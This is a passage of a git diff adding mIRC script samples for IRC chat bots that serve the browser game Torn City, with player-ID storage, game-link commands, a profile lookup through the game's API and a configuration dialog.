+    }    
+    if ($1 == !delid) { 
+      if ($2 == $null) { var %pnick = $nick }
+      else { var %pnick = $2 }      
+      var %retid = $prof.getid(%pnick)   
+      if (%retid != $null) {
+        hdel prof.ids %pnick
+        hsave prof.ids $prof.idsfile
+        if ($prof.getname(%retid) == %pnick) {
+          if ($hget(prof.idsname,%retid) != $null) { 
+            hdel prof.idsname %retid
+            hsave prof.idsname $prof.idsnamefile
+          }
+        }
+        msg # $prof.col(6) $+ Removed $+ $prof.col(2) %pnick $prof.col(6) $+ from the database! 
+      }
+      else { msg # $prof.col(5) $+ No can do, $+ $prof.col(2) %pnick $prof.col(5) $+ does not exist in the database! }
+    }
+
+    if ($1 == !setname) {
+      if ($2 != $null) {
+        var %id = $prof.getid($2), %idchk = $prof.getid($nick)
+        if (%id != $null) {
+          if (%idchk == %id) {           
+            hadd -m prof.idsname %id $2
+            hsave prof.idsname $prof.idsnamefile
+            msg # $prof.col(6) $+ I have assigned $+ $prof.col(2) $2 $prof.col(6) $+ as the main name for ID $prof.colid(%id,6,2) $+ !
+          } 
+          else { msg # $prof.col(2) $+ $nick $+ $prof.col(5) and $prof.col(2) $+ $2 $+ $prof.col(5) do not have the same ID saved. }
+        }
+        else { msg # $prof.col(5) $+ I have no idea who $+ $prof.col(2) $2 $prof.col(5) $+ is, please make sure that it's added via !addid first }
+      }
+      else { msg # $prof.col(3) $+ Sets your main name (needs to be added via !addid). $prof.col(1) $+ Usage: $+ $prof.col(2) !setname Name }
+    }
+
+    if ($istok(!revive !id !bust !bail !bazaar !pstats !display !trade !cash !money !mail !msg !message !attack !atk !mug !bounty !friend !friendlist !flist !enemy !blacklist !blist,$1,32)) {
+      if ($2 == $null) { var %searchnick = $nick }
+      else { var %searchnick = $2 }
+      var %retid = $prof.getid(%searchnick)
+      if (%retid == $null) { msg # $prof.col(5) $+ Sorry, I have no idea who $+ $prof.col(2) %searchnick $prof.col(5) $+ is! } 
+      else { 
+        var %retnick = $prof.getname(%retid)
+        if ($1 == !id) { 
+          if (%searchnick != $nick) { msg # $prof.col(2) $+ %searchnick $+ $prof.col(1) $+ 's stored ID is $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) - Profile link: $+ $prof.col(2) http://www.torn.com/profiles.php?XID= $+ %retid }
+          else { msg # $prof.col(1) $+ Your stored ID is $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) - Profile link: $+ $prof.col(2) http://www.torn.com/profiles.php?XID= $+ %retid }
+        } 
+        if ($1 == !revive) { msg # $prof.col(1) $+ Revive $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/profiles.php?XID= $+ %retid } 
+        if ($1 == !bust) { msg # $prof.col(1) $+ Bust $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) out of jail! - $+ $prof.col(2) http://www.torn.com/profiles.php?XID= $+ %retid } 
+        if ($1 == !bail) { msg # $prof.col(1) $+ Bail $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) out of jail! - $+ $prof.col(2) http://www.torn.com/profiles.php?XID= $+ %retid } 
+        if ($1 == !bazaar) { msg # $prof.col(1) $+ Visit $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ 's bazaar! - $+ $prof.col(2)  http://www.torn.com/bazaar.php#/p=bazaar&userID= $+ %retid } 
+        if ($1 == !pstats) { msg # $prof.col(1) $+ View $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ 's personal stats! - $+ $prof.col(2) http://www.torn.com/personalstats.php?ID= $+ %retid } 
+        if ($1 == !display) { msg # $prof.col(1) $+ View $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ 's display case! - $+ $prof.col(2) http://www.torn.com/displaycase.php?userID= $+ %retid } 
+        if ($1 == !trade) { msg # $prof.col(1) $+ Trade with $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/trade.php#step=start&userID= $+ %retid } 
+        if ($1 == !cash || $1 == !money) { msg # $prof.col(1) $+ Send cash to $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/sendcash.php#/XID= $+ %retid } 
+        if ($1 == !mail || $1 == !msg || $1 == !message) { msg # $prof.col(1) $+ Send a message to $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/messages.php#/p=compose&XID= $+ %retid } 
+        if ($1 == !attack || $1 == !atk) { msg # $prof.col(1) $+ Attack $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/attack.php?PID= $+ %retid } 
+        if ($1 == !mug) { msg # $prof.col(1) $+ Mug $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/attack.php?PID= $+ %retid } 
+        if ($1 == !bounty) { msg # $prof.col(1) $+ Bounty $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) $+ ! - $+ $prof.col(2) http://www.torn.com/bounties.php#/p=add&XID= $+ %retid } 
+        if ($1 == !friend || $1 == !friendlist || $1 == !flist) { msg # $prof.col(1) $+ Add $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) to your $prof.col(6) $+ friends list $+ $prof.col(1) $+ ! - $+ $prof.col(2) http://www.torn.com/friendlist.php#/p=add&XID= $+ %retid }
+        if ($1 == !enemy || $1 == !blacklist || $1 == !blist) { msg # $prof.col(1) $+ Add $+ $prof.col(2) %retnick $prof.colid(%retid,1,2) to your $prof.col(7) $+ blacklist $+ $prof.col(1) $+ ! - $+ $prof.col(2) http://www.torn.com/blacklist.php#/p=add&XID= $+ %retid }
+      }
+    }
+    if ($1 == !attackid || $1 == !atkid) { 
+      if ($2 isnum) { 
+        var %namechk = $prof.getname($2)
+        if (%idchk != $null) { var %idpost = $prof.col(2) $+ %namechk }
+        else { var %idpost = $prof.colid($2,1,2) }
+        msg # $prof.col(1) $+ Attack %idpost $+ $prof.col(1) $+ ! - $+ $prof.col(2) http://www.torn.com/attack.php?PID= $+ $2 
+      }
+      else { msg # $prof.col(3) $+ Displays an attack link from an ID that you specify. $prof.col(1) $+ Usage: $+ $prof.col(2) !attackid ID }
+    }
+
+    if ($istok(!prof !profile !info !find,$1,32)) {
+      if ($2 == $null) { var %name = $nick }
+      if ($2 isnum) { var %id = $2 }
+      else { if (%name == $null) { var %name = $2 } }
+      if (%id == $null) { var %id = $prof.getid(%name) } 
+      if (%id == $null) { msg # $prof.col(5) $+ There is no ID stored for $+ $prof.col(2) %name $+ $prof.col(5) $+ ! | halt }
+      set %prof.find %id    
+      set %prof.chan #              
+      sockclose profile 
+      if ($sslready) { sockopen -e profile api.torn.com 443 }
+      else { sockopen profile api.torn.com 80 }
+    } 
+  }
+}
+
+; New getname/getid split call system from UTA 7
+alias -l prof.getid { return $hget(prof.ids,$1) }
+alias -l prof.getname { 
+  if ($hget(prof.idsname,$1) != $null) { return $hget(prof.idsname,$1) }
+  else { return $hfind(prof.ids,$1).data }
+}
+
+; Colors and sets a bracket around ID numbers. 
+alias -l prof.colid { return $prof.col($2) $+ $chr(91) $+ $prof.col($3) $+ $1 $+ $prof.col($2) $+ $chr(93) }
+
+; Strips all input ascii chars aside from decimals and numbers. 
+; Used to clean accidental/intentional letters in inputs that expect numbers.
+alias -l prof.cleanN { 
+  var %a = 0 | var %b = $1
+  while (%a < 255) { if (%a != 46 && %a !isnum 48-57) { var %b = $remove(%b, $chr(%a)) } | inc %a }
+  return %b
+}
+
+; Strips HTML tags. 
+alias -l prof.cleanH { return $regsubex($1,/^[^<]*>|<[^>]*>|<[^>]*$/g,$null) }
+
+; Separates a number into neat little commas.
+alias -l prof.addComma { var %a, %b = $regsub($ticks,$1,/\G([+-]?\d+?)(?=(?:\d{3})++(?=\.\d++$|$))/g,\1 $+ $chr(44),%a) | return %a }
+
+; Profile String Builder
+alias -l prof.outstr { 
+  ; broke it up to make it easier to read.
+
+  ; check for online/offline status (api doesnt return it, so determine it)
+  if ($gettok(%prof.last,2,32) == minute || $gettok(%prof.last,2,32) == minutes) {
+    if ($gettok(%prof.last,1,32) <= 15) { set %prof.ol $prof.col(6) $+ [On] }
+    else { set %prof.ol $prof.col(7) $+ [Off] }
+  }
+  else { set %prof.ol $prof.col(7) $+ [Off] }
+
+  ; fix a few odd chars
+  set %prof.fact $replace(%prof.fact,&#33;,$chr(33))
+  set %prof.fact $replace(%prof.fact,&#39;,$chr(33))
+  set %prof.fact $replace(%prof.fact,&#40;,$chr(33))
+  set %prof.fact $replace(%prof.fact,&#41;,$chr(33))
+
+  ; then replace a few longer strings with shorter forms
+  set %prof.status $replace(%prof.status,In hospital,Hosp)
+  set %prof.status $remove(%prof.status,- Hospitalized)
+  set %prof.status $replace(%prof.status,In jail,Jail)
+  set %prof.status $replace(%prof.status,In federal jail,Fed)
+  set %prof.status $replace(%prof.status,Was caught trying to break out,Caught busting)  
+  set %prof.status $replace(%prof.status,currently okay,okay)
+  set %prof.status $replace(%prof.status,1 hrs,1 hr)
+  set %prof.status $replace(%prof.status,1 mins,1 min)
+  set %prof.status $replace(%prof.status,$+($chr(34),$chr(44),$chr(34)),$+($chr(32),$chr(45),$chr(32)))
+  set %prof.last $replace(%prof.last,minutes,mins,minute,min)
+  set %prof.prop $replace(%prof.prop,Private Island,PI)
+
+  if ($right(%prof.status,1) == $chr(45)) { set %prof.status $left(%prof.status,-1) }
+
+  ; make the age display more useful
+  if (%prof.age >= 365) { 
+    var %yr = 0
+    var %dy = %prof.age
+    while (%dy >= 365) {
+      inc %yr
+      var %dy = $calc(%dy - 365)
+    }
+    if (%dy = 0) { var %agestring = $prof.col(6) $+ %yr $+ y }
+    else { var %agestring = %yr $+ y %dy $+ d }
+  }
+  else { var %agestring = $prof.addComma(%prof.age) }
+
+  ; add a percentage to life
+  var %lifeperc $round($calc((%prof.lifecur / %prof.lifemax) * 100),0)
+
+  ; colorize specific parts if needed
+  if ((%prof.fact == None) && (%prof.facrank == None)) { 
+    var %facstr $prof.col(7) $+ None 
+  }
+  else { 
+    var %facstr $prof.col(2) $+ %prof.facrank $prof.col(1) $+ of $+ $prof.col(2) %prof.fact 
+  }
+  if (%prof.spname == None && %prof.spdur == 0) { var %spstr $prof.col(7) $+ None }
+  else { var %spstr $prof.col(2) $+ %prof.spname $prof.col(8) $+ (for %prof.spdur $+ d) }
+  if (%prof.lifecur == %prof.lifemax) { var %lifecol 6 }
+  elseif (%prof.lifecur <= 1) { var %lifecol = 7 } 
+  else { var %lifecol 2 }
+
+  if (okay isin %prof.status) { set %prof.status $prof.col(6) $+ %prof.status }
+  elseif (Jail for isin %prof.status) { set %prof.status $prof.col(7) $+ %prof.status }
+  elseif (Fed for isin %prof.status) { set %prof.status $prof.col(7) $+ %prof.status }
+  elseif (Hosp for isin %prof.status) { set %prof.status $prof.col(7) $+ %prof.status }
+  else { set %prof.status $prof.col(2) $+ %prof.status }
+
+  ; now format output string
+  var %out = $prof.col(2) $+ %prof.name $prof.colid(%prof.id,1,2) %prof.ol  
+  if (%prof.don == 1) { var %out = %out $prof.col(6) $+ $chr(42) }
+  var %out = %out $+ $prof.col(1) ( $+ $prof.col(2) $+ %prof.sex
+  var %out = %out $+ $prof.col(1) $+ , Level: $+ $prof.col(2) %prof.lvl  
+  var %out = %out $+ $prof.col(1) $+ , Title: $+ $prof.col(2) %prof.rank
+  var %out = %out $+ $prof.col(1) $+ , Age: $+ $prof.col(2) %agestring 
+  if (%prof.age >= 365) { var %out = %out $prof.col(8) $+ ( $+ %prof.age $+ ) }
+  var %out = %out $+ $prof.col(1) $+ , Spouse: %spstr
+  var %out = %out $+ $prof.col(1) $+ , Prop: $+ $prof.col(2) %prof.prop
+  var %out = %out $+ $prof.col(1) $+ , Fac: %facstr 
+  var %out = %out $+ $prof.col(1) $+ , Life: $+ $prof.col(%lifecol) $prof.addComma(%prof.lifecur) $+ $prof.col(1) $+ / $+ $prof.col(%lifecol) $+ $prof.addComma(%prof.lifemax) $prof.col(8) $+ ( $+ %lifeperc $+ $chr(37) $+ )
+  var %out = %out $+ $prof.col(1) $+ , A: $+ $prof.col(2) $+ %prof.award $+ $prof.col(1) $+ /F: $+ $prof.col(6) $+ %prof.friend $+ $prof.col(1) $+ /E: $+ $prof.col(7) $+ %prof.enemy 
+  var %out = %out $+ $prof.col(1) $+ , Seen: $+ $prof.col(2) %prof.last
+  var %out = %out $+ $prof.col(1) $+ , Status: %prof.status  
+  var %out = %out $+ $prof.col(1) $+ )
+  return %out
+}
+
+; -=- Socket Code
+
+on *:sockopen:profile:{
+  if ($sockerr) { echo -s 04Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    sockwrite -nt profile GET /user/ $+ %prof.find $+ ?selections=profile&key= $+ $prof.apikey HTTP/1.1
+    sockwrite -nt profile Host: api.torn.com
+    sockwrite -nt profile $crlf
+  }
+}
+
+on *:sockread:profile:{
+  if ($sockerr) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr } 
+  else {
+    var %read | sockRead %read | var %readln $remove(%read, $chr(9))  
+    ;write $qt($scriptdir $+ test $+ $gmt $+ .txt) %readln
+    if ($regex(%readln,error":"(.+?)")) { set %prof.err $regml(1) }
+    if ($regex(%readln,rank":"(.+?)")) { set %prof.rank $regml(1) }
+    if ($regex(%readln,level":(.+?)")) { set %prof.lvl $prof.cleanN($regml(1)) }
+    if ($regex(%readln,gender":"(.+?)")) { set %prof.sex $regml(1) }
+    if ($regex(%readln,property":"(.+?)")) { set %prof.prop $regml(1) }
+    if ($regex(%readln,status":\["(.+?)"\])) { set %prof.status $prof.cleanH($regml(1)) }
+    if ($regex(%readln,awards":(.+?)")) { set %prof.award $prof.cleanN($regml(1)) }
+    if ($regex(%readln,friends":(.+?)")) { set %prof.friend $prof.cleanN($regml(1)) }
+    if ($regex(%readln,enemies":(.+?)")) { set %prof.enemy $prof.cleanN($regml(1)) }
+    if ($regex(%readln,age":(.+?)")) { set %prof.age $prof.cleanN($regml(1)) }
+    if ($regex(%readln,donator":1)) { set %prof.don 1 }
+    if ($regex(%readln,player_id":(.+?)")) { set %prof.id $prof.cleanN($regml(1)) }
+    if ($regex(%readln,name":"(.+?)")) { set %prof.name $regml(1) }    
+    if ($regex(%readln,last_action":"(.+?)")) { set %prof.last $regml(1) }
+    if ($regex(%readln,current":(.+?)")) { set %prof.lifecur $prof.cleanN($regml(1)) }
+    if ($regex(%readln,maximum":(.+?)")) { set %prof.lifemax $prof.cleanN($regml(1)) }
+    if ($regex(%readln,faction_name":"(.+?)")) { set %prof.fact $regml(1) }
+    if ($regex(%readln,faction":{"position":"(.+?)")) { set %prof.facrank $regml(1) }
+    if ($regex(%readln,spouse_name":"(.+?)")) { set %prof.spname $regml(1) }
+    if ($regex(%readln,duration":(.+?)})) { set %prof.spdur $prof.cleanN($regml(1)) }
+    if ($regex(%readln,}})) { prof.sockclose 1 }
+  }
+}
+
+on *:sockclose:profile:{ prof.sockclose }
+
+; calls on close socket or at the end of a string, whichever comes first.
+; helps avoid the timeout glitch. If called with $1 == 1, it forces a sockclose.
+alias -l prof.sockclose {
+  if (%prof.err != $null) { msg %prof.chan $prof.col(5) $+ Error: $+ $prof.col(2) %prof.err } 
+  else { 
+    msg %prof.chan $prof.outstr 
+    if ($prof.linkafter == 1) {
+      msg %prof.chan $prof.col(1) $+ Link: $+ $prof.col(2) http://www.torn.com/profiles.php?XID= $+ %prof.id
+    }
+  }
+  if ($1 == 1) { sockclose profile }
+  unset %prof.*
+}
diff --git a/samples/mIRC Script/torncity-tcbot.mrc b/samples/mIRC Script/torncity-tcbot.mrc
new file mode 100644
index 0000000000..cb44bfc847
--- /dev/null
+++ b/samples/mIRC Script/torncity-tcbot.mrc	
@@ -0,0 +1,5103 @@
+ON 1:START:{ 
+  unset %tc.* | unset %tcchain.* | unset %revive*
+  tc.cfgcheck | tc.init
+} 
+
+ON 1:CONNECT:{ ; Start crons that require the bot to be connected
+  tc.refilltimer 
+}
+
+ON 1:DISCONNECT:{ ; End crons that require the bot to be connected
+  .timer0.refill* off 
+}
+
+;    NOTE: DO NOT CHANGE VERSION NUMBER.
+; This is used in several subs to keep data file contents in sync and let the script know when it needs to trigger updates.
+alias -l tc.botvers { return 9.4 }  
+
+; Ched breaks these a lot. Getting tired of code digging to fix... this keeps in one place. 
+; $1 = ID. No checks are done in these since they exist where it's being called.
+alias -l tc.revlink { return https://www.torn.com/profiles.php?XID= $+ $1 }
+alias -l tc.bountylink { return https://www.torn.com/bounties.php#/p=add&XID= $+ $1 }
+alias -l tc.atklink { return https://www.torn.com/loader2.php?sid=getInAttack&user2ID= $+ $1 }
+alias -l tc.bustlink { return https://www.torn.com/profiles.php?XID= $+ $1 }
+alias -l tc.baillink { return https://www.torn.com/profiles.php?XID= $+ $1 }
+alias -l tc.complink { return https://www.torn.com/joblist.php#/p=corp&ID= $+ $1 }
+alias -l tc.proflink { return https://www.torn.com/profiles.php?XID= $+ $1 }
+alias -l tc.bazaarlink { return https://www.torn.com/bazaar.php#/p=bazaar&userID= $+ $1 }
+alias -l tc.pstatslink { return https://www.torn.com/personalstats.php?ID= $+ $1 }
+alias -l tc.dcaselink { return https://www.torn.com/displaycase.php?userID= $+ $1 }
+alias -l tc.tradelink { return https://www.torn.com/trade.php#step=start&userID= $+ $1 }
+alias -l tc.cashlink { return https://www.torn.com/sendcash.php#/XID= $+ $1 }
+alias -l tc.maillink { return https://www.torn.com/messages.php#/p=compose&XID= $+ $1 }
+alias -l tc.flistlink { return https://www.torn.com/friendlist.php#/p=add&XID= $+ $1 }
+alias -l tc.blistlink { return https://www.torn.com/blacklist.php#/p=add&XID= $+ $1 }
+
+;  File location "constants". Doing it this way means no need to store as variables. Also fixes a lot of weird bugs with empty file variables.
+alias -l tc.cfgfile { return $qt($scriptdir $+ config.ini) }
+alias -l tc.admfile { return $qt($scriptdir $+ adm.hsh) }
+alias -l tc.crimesfile { return $qt($scriptdir $+ crimes.db) }
+alias -l tc.quotefile { return $qt($scriptdir $+ quote.db) }
+alias -l tc.spyfile { return $qt($scriptdir $+ spy.db) }
+alias -l tc.psetfile { return $qt($scriptdir $+ pset.ini) }
+alias -l tc.idsfile { return $qt($scriptdir $+ id.hsh) }
+alias -l tc.idsnamefile { return $qt($scriptdir $+ idnames.hsh) }
+
+; Per-ID file/folder locations. For files: $1 = ID is required. Folder does not use $qt because it breaks some functions.
+alias -l tc.statsdir { return $scriptdir $+ stats\ }
+alias -l tc.statsfile { return $qt($tc.statsdir $+ $1 $+ .txt) } 
+alias -l tc.drugsdir { return $scriptdir $+ drugs\ }
+alias -l tc.drugsfile { return $qt($tc.drugsdir $+ $1 $+ .txt) } 
+
+
+; chain log file locations. Folder does not use $qt because it breaks some functions.
+alias -l tc.chlogdir { return $scriptdir $+ chaindat\ }
+alias -l tc.chlogfile { return $qt($tc.chlogdir $+ chain $+ $1 $+ .hsh) }
+; chainmonth tally files. $1 = year, $2 = month. If none is specified, uses current.
+alias -l tc.cmlogfile { 
+  if ($1 != $null) { var %yr = $1 } | else { var %yr = $asctime($tc.time,yyyy) }
+  if ($2 != $null) { var %mn = $2 } | else { var %mn = $asctime($tc.time,mm) }
+  return $qt($tc.chlogdir $+ %yr $+ $chr(45) $+ %mn $+ .hsh) 
+}
+
+; quick and dirty 'constants' - too lazy to make new options in admin panel for these atm. 
+; Chain wartally reset time.
+alias -l tc.wtreset { return $calc(60 * 60 * 24 * 14) }
+; Timer maximum. Default = 3 days in seconds.
+alias -l tc.timemax { return $calc(60 * 60 * 24 * 3) }   
+; Global Cooldown for spammy scripts. Default = 5 seconds for normal. 3 seconds for short
+alias -l tc.gcd { return 5 } 
+alias -l tc.sgcd { return 3 } 
+
+alias -l tc.init {
+  if ($readini($tc.cfgfile,n,File,vers) != $tc.botvers) { tc.upgrade }
+  if ($server != $null) { tc.refilltimer }
+  if (!$exists($qt($tc.chlogdir))) { mkdir $qt($tc.chlogdir) }
+  if (!$exists($qt($tc.statsdir))) { mkdir $qt($tc.statsdir) }
+  if (!$exists($qt($tc.drugsdir))) { mkdir $qt($tc.drugsdir) }
+  if ($hget(tc.adm)) { hfree tc.adm } | hmake tc.adm 100
+  if (!$exists($tc.admfile)) { echo -sg 4Note: Noone on admin list! The bot will still work but no-one can access admin commands until you add someone. To do so, right click their name in the nick list. }
+  else { hload tc.adm $tc.admfile }
+  if ($hget(tc.ids)) { hfree tc.ids } | hmake tc.ids 100 | if ($exists($tc.idsfile)) { hload tc.ids $tc.idsfile }  
+  if ($hget(tc.idsname)) { hfree tc.idsname } | hmake tc.idsname 100 | if ($exists($tc.idsnamefile)) { hload tc.idsname $tc.idsnamefile }  
+  set %tc.chan $readini($tc.cfgfile,n,Config,chan) 
+  set %tc.chchan $readini($tc.cfgfile,n,Chain,chan)
+  set %tc.statsaving $readini($tc.cfgfile,n,Config,statsaving)
+  set %tc.col $readini($tc.cfgfile,n,Color,color) $readini($tc.cfgfile,n,Color,pri) $readini($tc.cfgfile,n,Color,sec) $readini($tc.cfgfile,n,Color,help) $readini($tc.cfgfile,n,Color,note) $readini($tc.cfgfile,n,Color,error) $readini($tc.cfgfile,n,Color,good) $readini($tc.cfgfile,n,Color,bad) $readini($tc.cfgfile,n,Color,subnote)  
+  echo -sg 10Universal TC Assistant made by:7 PMV 10[07157799310] v07 $+ $tc.botvers 10- Initialized Successfully!
+}
+
+; --------------------------------- crons ---------------------------------
+
+; Refill timer cron. At 12:00AM TC time every day.
+alias -l tc.refillcron { return $asctime($calc($ctime($date 00:00) + ($ctime - $tc.time)),HH:nn) }
+alias -l tc.refilltimer { 
+  .timer0.refill* off
+  if ($1 == post && $readini($tc.cfgfile,n,Config,ereset) == yes) { 
+    var %tcrefill.ptr = 1, %tcrefill.loop = $numtok(%tc.chan,44)
+    while (%tcrefill.ptr <= %tcrefill.loop) { 
+      if ($gettok(%tc.chan,%tcrefill.ptr,44) ischan) { msg $gettok(%tc.chan,%tcrefill.ptr,44) $tc.col(4) $+ Note: Energy and nerve refills have reset! }
+      else { echo -s 4Note: $gettok(%tc.chan,%tcrefill.ptr,44) refill notice skipped, bot not in chan. }
+      inc %tcrefill.ptr 
+    }
+  }
+  .timer0.refillnew 1 70 .timer0.refill $tc.refillcron 1 1 tc.refilltimer post
+}
+
+; Quick debug
+alias tc.showcron {
+  echo -s Refill cron on: $tc.refillcron Local Time - Duration: $duration($calc($ctime($asctime($calc($tc.time + 86400),dd/mm/yy) 00:05) - $tc.time))
+  echo -s Decay cron on: $tc.decaycron Local Time - Duration: $duration($calc($ctime($asctime($calc($tc.time + 86400),dd/mm/yy) 04:20) - $tc.time))
+}
+
+; --------------------------------- timer encode ---------------------------------
+
+; found this from: http://en.wikichip.org/wiki/MSL_Injection_-_mIRC 
+; seems easier then using eval,0 on everything.
+alias -l s { return $!decode( $encode($1-, m) ,m) }
+
+; --------------------------------- admin control panel ---------------------------------
+
+dialog -l tc.cfgview { 
+  title "Universal TC Assistant Config" 
+  size -1 -1 305 175 
+  option dbu 
+  tab "Channels",1,1 1 300 160
+  tab "Admin Users",2
+  tab "Faction",3
+  tab "Access",4
+  tab "Customize",5
+  tab "Misc",6
+  tab "API",7
+  text "",9,4 165 302 10, center
+  text "Main Channel(s):",10,4 30 85 10, right nowrap tab 1
+  edit %tc.chan,101,90 28 200 10, autohs tab 1
+  text "Chain Channel(s):",1001,4 44 85 10, right nowrap tab 1
+  text "Revive Channel(s):",1002,4 58 85 10, right nowrap tab 1
+  text "Note: to add multiple channels, seperate by commas. Spaces will be removed.",1003,60 18 200 10, tab 1
+  edit %tc.chchan,14,90 42 200 10, autohs tab 1
+  edit "",19,90 56 200 10, autohs tab 1
+  button "Reset",12,100 98 25 10,tab 1
+  button "Save",13,130 98 25 10,tab 1
+  list 21,4 18 250 144, sort vsbar tab 2
+  button "Delete",22,258 18 40 10,tab 2
+  text "Note: you can add someone by right clicking their name in nick list. If the panel to the left is empty, noone is on the admin list.",1004,258 32 40 60, tab 2
+  text "Faction Name:",1007,6 22 35 10, nowrap tab 3
+  edit "",41,43 20 90 10, tab 3
+  button "Set",42,135 20 15 10,tab 3
+  text "Chaining Upgrade:",1016,180 22 50 10, nowrap tab 3
+  edit "",43,227 20 20 10, tab 3
+  button "Set",44,250 24 15 15,tab 3
+  text "Hermetic Upgrade:",1017,180 34 50 10, nowrap tab 3
+  edit "",45,227 32 20 10, tab 3
+  text "Access Permissions:",1005,16 20 100 10, tab 4
+  button "?",50,4 18 10 10, tab 4
+  check "!delid - Delete IDs",51,4 30 100 10, 3state tab 4
+  check "!delspy - Delete Spies",52,4 42 100 10, 3state tab 4
+  check "!delquote - Delete Quotes",53,4 54 100 10, 3state tab 4
+  check "!wartally/!warresp reset - Reset the war tally and respect markers",54,4 66 180 10, 3state tab 4
+  check "!setbday - Set another person's birthday",55,4 78 180 10, 3state tab 4
+  text "Minimum access required to use bot:",1006,210 20 90 10, tab 4
+  radio "@ (Operator)",56,230 30 60 10, tab 4
+  radio "% (Half-Operator)",57,230 42 60 10, tab 4
+  radio "+ (Voiced)",58,230 54 60 10, tab 4
+  radio "No access level",59,230 66 60 10, tab 4
+  check "Enable colors",61,4 18 40 10, tab 5
+  text "Primary Colors",1061, 104 18 80 8, tab 5
+  edit "",2061, 80 16 20 10, tab 5
+  text "Secondary Colors",1062, 104 30 80 8, tab 5
+  edit "",2062, 80 28 20 10, tab 5
+  text "Help",1063, 104 42 80 8, tab 5
+  edit "",2063, 80 40 20 10, tab 5
+  text "Error Messages",1065, 104 54 80 8, tab 5
+  edit "",2065, 80 52 20 10, tab 5
+  text "Good",1066, 104 78 80 8, tab 5
+  edit "",2066, 80 76 20 10, tab 5
+  text "Bad",1067, 104 90 80 8, tab 5
+  edit "",2067, 80 88 20 10, tab 5
+  text "Notes",1064, 104 66 80 8, tab 5
+  edit "",2064, 80 64 20 10, tab 5
+  text "Subnotes",1068, 104 102 80 8, tab 5
+  edit "",2068, 80 100 20 10, tab 5
+  text "",2161, 200 18 45 120, tab 5
+  button "Reset",64,18 44 30 10, tab 5
+  button "Save",65,18 58 30 10, tab 5
+  button "Default",66,18 72 30 10, tab 5
+  check "Energy Reset Notice",71,4 18 90 10, tab 6
+  check "Revive string recorded Notice",72,4 30 90 10, tab 6
+  check "Require 'Battle Stats' line before updating stats.",75,4 42 150 10, tab 6
+  check "Send chain starting/ending notices to other chain channels.",79,4 54 150 10, tab 6
+  check "Each channel has seperate quote database",171,4 66 150 10, tab 6
+  check "Enable spy tracker (disable if using another spy storage script)",172,4 90 200 10, tab 6
+  check "Always add ID to bot with !find",173,4 78 100 10, tab 6
+  check "Additional 'Please revive' line on xanax overdose",174,4 102 200 10, tab 6
+  check "Enable !banker and !setbanker command",176,4 114 200 10, tab 6
+  check "Enable battle stat saving",177,4 126 200 10, tab 6
+  check "Enable API usage",270,4 18 90 10, tab 7
+  text "API key (used for !info):",260,105 20 65 10, right nowrap tab 7
+  edit "",261,173 18 50 10, autohs tab 7
+  button "Set",262,226 18 20 10,tab 7
+  text "To find your API key, in Torn, go to 'Settings' (gear icon, top right) - 'API Key'.",258,6 130 290 20, center tab 7
+  text "All API keys that are provided is stored locally with the bot's settings. Unchecking 'Enable API usage' will disable the bot's ability to use the API.",259,6 140 290 20, tab 7
+}
+
+dialog -l tc.pophelp { 
+  title "Quick Help" 
+  size -l -l 150 100
+  option dbu 
+  text "",1,1 1 150 100
+}
+
+on 1:DIALOG:tc.cfgview:sclick:12:{ 
+  did -r tc.cfgview 101 | did -a tc.cfgview 101 $readini($tc.cfgfile,n,Config,chan)
+  did -r tc.cfgview 14 | did -a tc.cfgview 14 $readini($tc.cfgfile,n,Chain,chan)
+  did -r tc.cfgview 19 | did -a tc.cfgview 19 $readini($tc.cfgfile,n,Chain,revive)
+  did -a tc.cfgview 9 Channels lists reset to last saved setting.
+}
+on 1:DIALOG:tc.cfgview:sclick:13:{   
+  if ($did(tc.cfgview,101).text == $null || $did(tc.cfgview,14).text == $null) { did -a tc.cfgview 9 You need at least one entry in both Main Channel and Chaining Channels for the bot to work. }
+  else { 
+    set %tc.chan $remove($did(tc.cfgview,101).text,$chr(32)) | writeini -n $tc.cfgfile Config chan %tc.chan
+    set %tc.chchan $remove($did(tc.cfgview,14).text,$chr(32)) | writeini -n $tc.cfgfile Chain chan %tc.chchan
+    if (%tcchain.stchan != $null) { set %tcchain.revchan $did(tc.cfgview,19).text }
+    if ($did(tc.cfgview,19).text != $null) { writeini -n $tc.cfgfile Chain revive $did(tc.cfgview,19).text }
+    else { if ($readini($tc.cfgfile,n,Chain,revive) != $null) { remini $tc.cfgfile Chain revive } }
+    did -r tc.cfgview 101 | did -a tc.cfgview 101 %tc.chan
+    did -r tc.cfgview 14 | did -a tc.cfgview 14 %tc.chchan 
+    did -a tc.cfgview 9 Channels lists saved.   
+    flushini $tc.cfgfile
+  }
+}
+on 1:DIALOG:tc.cfgview:sclick:22:{ 
+  if ($did(tc.cfgview,21).seltext == $null) { halt }
+  tc.adm del $gettok($did(tc.cfgview,21).seltext,1,32) 
+  did -a tc.cfgview 9 Removed $gettok($did(tc.cfgview,21).seltext,1,32) from admin list. 
+  did -d tc.cfgview 21 $did(tc.cfgview,21).sel 
+}
+on 1:DIALOG:tc.cfgview:sclick:42:{ 
+  if ($did(tc.cfgview,41).text == $null) { did -a tc.cfgview 9 You need a faction name. Change not saved. | halt }
+  else { writeini -n $tc.cfgfile Config faction $did(tc.cfgview,41).text | flushini $tc.cfgfile }  
